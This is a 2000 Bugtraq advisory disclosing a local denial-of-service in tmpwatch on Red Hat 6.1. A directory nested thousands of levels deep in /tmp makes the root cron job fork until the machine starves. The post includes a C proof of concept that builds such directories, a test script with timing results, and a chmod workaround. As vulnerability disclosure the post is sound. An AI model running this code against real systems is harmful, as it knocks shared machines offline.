[LWN Logo]
[Timeline]
Date:         Sat, 9 Sep 2000 10:58:28 -0000
From: zenith parsec <zenith_parsec@THE-ASTRONAUT.COM>
Subject:      tmpwatch: local DoS : fork()bomb as root
To: BUGTRAQ@SECURITYFOCUS.COM

sent through bugzilla.redhat.com
no reply from responsible person.
here it goes.

Local DoS in /usr/sbin/tmpwatch.  root fork()bombs himself.

            ** *** **** ***** ***** **** *** **

                    tmpwatch is a bad boy

            ** *** **** ***** ***** **** *** **

                      ****** ******
                     **  Summary  **
                      ****** ******
Local people can stop things working, and force you to reboot.
                       ************
                     Longer summary
                       ************

 Any user with write access to /tmp or /var/tmp can cause redhat 6.1 (and
others runnng tmpwatch from cron) to stop responding, and possibly requre
a hard reboot.
 tmpwatch is a utility for automatically removing files that have not been
accessed for a specifiable period. This program runs as root, an although
there are numerous protections against it being used to delete files it
shouldn't, it does something very silly.

 It fork()s new copies of itself off. 
 1 new process per level deep it goes.

  or
 
 It goes down a level, and is now on the 1st level.
 It fork()s a new copy of itself, which waits 
 until its new process of itself goes down a level 
 and fork()s a new copy of itself, which waits
 until its new process of itself goes down a level 
 and fork()s a new copy of itself, which waits
 until its new process of itself goes down a level 
 and fork()s a new copy of itself, which waits
 .
 .
 and finds no more works, so it pops back the the
 previous copy of itself, and each one in turn then
 follows suit, and pops back to the previous copy 
 of itself, and pops back to the previous copy of 
 itself, and pops back to the previous copy of itself,
 and pops back the final return result, which is 
 returned from the 1st level, to the shell, as the 
 exit() value.

 Not too bad for up to maybe 100 directory levels deep.
 Now imagine that scaled up, say 60 times.

*       ***************       ***************       *
** *** **   Method    ** *** **   Method    ** *** **
*       ***************       ***************       *

Make a directory 6000 deep in /tmp

At just after 4.00am the system will die.

# grep daily /etc/crontab
02 4 * * * root run-parts /etc/cron.daily
# cat /etc/cron.daily/tmpwatch 
/usr/sbin/tmpwatch 240 /tmp /var/tmp
/usr/sbin/tmpwatch -f 240 /var/catman/{X11R6/cat?,cat?,local/cat?}
# sleep --all-night 
sleep: unrecognized option `--all-night'
# su zen-parse
$ time xchat
0.73user 0.09system 37:50:06.12elapsed 13%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (51084major+137298minor)pagefaults 0swaps
$ 

or mebe not.

if you don't believe me, try this, as a normal user.

*****************
* Demonstration *
*****************

---START---cut---:a.c (mode 644)
// 
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
{
 int c=0,d=0;
 if (argc!=2) 
 {
  while(!chdir("./A"))c++;
  chdir("..");
  printf("c=%d  removing\n",c);
  while(!rmdir("./A")) {chdir("..");c--;}
  if(c)printf("erm. bad thing.\n");
 }
 else
 {
  c=atoi(argv[1]);
  printf("c=%d  making.\n",c);
  while(c--)
  {
   mkdir("./A",0777);
   chdir("./A");
  } 
 }
}
--END---cut-----:a.c

# ./testscript

(code follows)

---START---cut---:testscript (mode 755)
#!/bin/sh
# clear the previous stuff.
./a 
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results

--END---cut-----:testscript

If you don't want to test it manually, here you will find the results on
the tests on my machine. Who says u need an Athlon with cable or DSL.  I
say "Well, it would be nice. Real nice." I also think this program would
probably die faster and more spectacularly on a fast machine with a huge
amount of memory and swap space. Oh yeah. Save anything important. And you
have to run it as root. (I think. Should probably thought of that. I'll
remember it for next time.) The crontab is an effective way of getting it
run as root. Which it wants to do anyway. At about 4am everyday.

--START---cut---:timer.results (mode 644)
c=1  making.
0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+58minor)pagefaults 0swaps
c=100  making.
0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+1797minor)pagefaults 0swaps
c=200  making.
0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+3554minor)pagefaults 0swaps
c=300  making.
0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+5308minor)pagefaults 0swaps
c=400  making.
0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
c=500  making.
0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
c=600  making.
0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
c=600  removing
c=600  making.
0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
c=700  making.
0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
c=800  making.
Command terminated by signal 2
0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (102major+18minor)pagefaults 10swaps
--END---cut-----:timer.results

(System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.)

(^C was pressed after about a minute into the 800 deep one. Several system
programs died due to memory starvation. It took a quite a while afterwards
before the console regained any usabilty. When i tried to run startx, it
refused to start. xfs had died. everything looked odd. slow motion. i
think it was because of the loadavg)

# uptime
  9:00pm  up  2:14,  2 users,  load average: 202.28, 363.68, 186.46

That was a couple of minutes after running the test script.

              ********************************
              * something needs to be fixed. *
               *   and i think its the      *
                *   tmpwatch program, and  *
                 *   until it is here is  *
                  *    a temporary fix   *
                   ********************** 

# chmod 400 /etc/cron.daily/tmpwatch
# chmod 400 /usr/sbin/tmpwatch
#


oh yeah.

slocate also segfaults on that directory.
 
$ ./a 
to delete all the ./A/A/A/A/..... directories you own.

i hope. 

--zen-parse



Send someone a cool Dynamitemail flashcard greeting!! And get rewarded.
GO AHEAD! http://cards.dynamitemail.com/index.php3?rid=fc-41